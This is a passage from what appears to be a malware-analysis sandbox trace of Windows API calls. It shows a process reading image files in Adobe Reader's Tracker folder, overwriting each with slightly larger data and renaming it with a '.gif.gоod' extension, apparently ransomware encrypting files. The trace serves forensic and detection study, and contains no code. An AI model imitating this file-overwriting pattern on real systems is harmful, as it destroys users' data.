(x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", lpFilePart=0x0) returned 0x50 [0120.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0120.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0120.266] GetFileType (hFile=0x7c8) returned 0x1 [0120.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0120.266] GetFileType (hFile=0x7c8) returned 0x1 [0120.266] WriteFile (in: hFile=0x7c8, lpBuffer=0x341f888*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x341f888*, lpNumberOfBytesWritten=0x1f35be58*=0x480, lpOverlapped=0x0) returned 1 [0120.267] CloseHandle (hObject=0x7c8) returned 1 [0120.267] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif", lpFilePart=0x0) returned 0x50 [0120.267] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif.gоod", lpFilePart=0x0) returned 0x55 [0120.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0120.267] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x43e51992, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0120.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0120.267] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_browser.gif.gоod")) returned 1 [0120.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", lpFilePart=0x0) returned 0x4e [0120.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0120.268] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif"), fInfoLevelId=0x0, lpFileInformation=0x3420b60 | out: lpFileInformation=0x3420b60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d)) returned 1 [0120.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0120.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", lpFilePart=0x0) returned 0x4e [0120.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0120.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0120.268] GetFileType (hFile=0x7c8) returned 0x1 [0120.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0120.268] GetFileType (hFile=0x7c8) returned 0x1 [0120.268] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x57d [0120.268] ReadFile (in: hFile=0x7c8, lpBuffer=0x34213b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34213b8*, lpNumberOfBytesRead=0x1f35bf48*=0x57d, lpOverlapped=0x0) returned 1 [0120.450] CloseHandle (hObject=0x7c8) returned 1 [0120.573] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", lpFilePart=0x0) returned 0x4e [0120.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0120.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.574] GetFileType (hFile=0x6e0) returned 0x1 [0120.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0120.575] GetFileType (hFile=0x6e0) returned 0x1 [0120.575] WriteFile (in: hFile=0x6e0, lpBuffer=0x3628798*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3628798*, lpNumberOfBytesWritten=0x1f35be58*=0x580, lpOverlapped=0x0) returned 1 [0120.575] CloseHandle (hObject=0x6e0) returned 1 [0120.575] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif", lpFilePart=0x0) returned 0x4e [0120.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif.gоod", lpFilePart=0x0) returned 0x53 [0120.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0120.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4414c8b4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0120.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0120.576] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_email.gif.gоod")) returned 1 [0120.577] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", lpFilePart=0x0) returned 0x57 [0120.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0120.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif"), fInfoLevelId=0x0, lpFileInformation=0x3629a58 | out: lpFileInformation=0x3629a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2)) returned 1 [0120.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0120.577] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", lpFilePart=0x0) returned 0x57 [0120.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0120.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0120.577] GetFileType (hFile=0x6e0) returned 0x1 [0120.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0120.577] GetFileType (hFile=0x6e0) returned 0x1 [0120.577] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x3c2 [0120.577] ReadFile (in: hFile=0x6e0, lpBuffer=0x362a138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x362a138*, lpNumberOfBytesRead=0x1f35bf48*=0x3c2, lpOverlapped=0x0) returned 1 [0121.129] CloseHandle (hObject=0x6e0) returned 1 [0121.166] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", lpFilePart=0x0) returned 0x57 [0121.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0121.166] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0121.167] GetFileType (hFile=0x6e0) returned 0x1 [0121.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0121.167] GetFileType (hFile=0x6e0) returned 0x1 [0121.168] WriteFile (in: hFile=0x6e0, lpBuffer=0x34a1410*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34a1410*, lpNumberOfBytesWritten=0x1f35be58*=0x3d0, lpOverlapped=0x0) returned 1 [0121.168] CloseHandle (hObject=0x6e0) returned 1 [0121.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif", lpFilePart=0x0) returned 0x57 [0121.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif.gоod", lpFilePart=0x0) returned 0x5c [0121.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0121.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x446f61c6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d0)) returned 1 [0121.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0121.169] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_same_reviewers.gif.gоod")) returned 1 [0121.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", lpFilePart=0x0) returned 0x4f [0121.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0121.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif"), fInfoLevelId=0x0, lpFileInformation=0x34a2710 | out: lpFileInformation=0x34a2710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555)) returned 1 [0121.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0121.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", lpFilePart=0x0) returned 0x4f [0121.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0121.170] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0121.170] GetFileType (hFile=0x6e0) returned 0x1 [0121.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0121.170] GetFileType (hFile=0x6e0) returned 0x1 [0121.170] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x555 [0121.170] ReadFile (in: hFile=0x6e0, lpBuffer=0x34a2f40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34a2f40*, lpNumberOfBytesRead=0x1f35bf48*=0x555, lpOverlapped=0x0) returned 1 [0121.358] CloseHandle (hObject=0x6e0) returned 1 [0121.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", lpFilePart=0x0) returned 0x4f [0121.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0121.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0121.420] GetFileType (hFile=0x6e0) returned 0x1 [0121.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0121.420] GetFileType (hFile=0x6e0) returned 0x1 [0121.420] WriteFile (in: hFile=0x6e0, lpBuffer=0x34c73b8*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34c73b8*, lpNumberOfBytesWritten=0x1f35be58*=0x560, lpOverlapped=0x0) returned 1 [0121.421] CloseHandle (hObject=0x6e0) returned 1 [0121.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif", lpFilePart=0x0) returned 0x4f [0121.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif.gоod", lpFilePart=0x0) returned 0x54 [0121.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0121.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x449587e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0121.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0121.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\review_shared.gif.gоod")) returned 1 [0121.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", lpFilePart=0x0) returned 0x45 [0121.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0121.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif"), fInfoLevelId=0x0, lpFileInformation=0x34c8688 | out: lpFileInformation=0x34c8688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1 [0121.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0121.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", lpFilePart=0x0) returned 0x45 [0121.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0121.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0121.423] GetFileType (hFile=0x6e0) returned 0x1 [0121.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0121.423] GetFileType (hFile=0x6e0) returned 0x1 [0121.423] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0xde [0121.423] ReadFile (in: hFile=0x6e0, lpBuffer=0x34c89f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34c89f0*, lpNumberOfBytesRead=0x1f35bf48*=0xde, lpOverlapped=0x0) returned 1 [0121.586] CloseHandle (hObject=0x6e0) returned 1 [0123.178] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", lpFilePart=0x0) returned 0x45 [0123.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0123.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0123.180] GetFileType (hFile=0x768) returned 0x1 [0123.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0123.180] GetFileType (hFile=0x768) returned 0x1 [0123.180] WriteFile (in: hFile=0x768, lpBuffer=0x34ccaf0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x34ccaf0*, lpNumberOfBytesWritten=0x1f35be58*=0xe0, lpOverlapped=0x0) returned 1 [0123.181] CloseHandle (hObject=0x768) returned 1 [0123.181] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif", lpFilePart=0x0) returned 0x45 [0123.181] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif.gоod", lpFilePart=0x0) returned 0x4a [0123.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0123.181] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\rss.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x45a2f134, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0123.181] SetThreadErrorMode (dwNewMode=0x0, 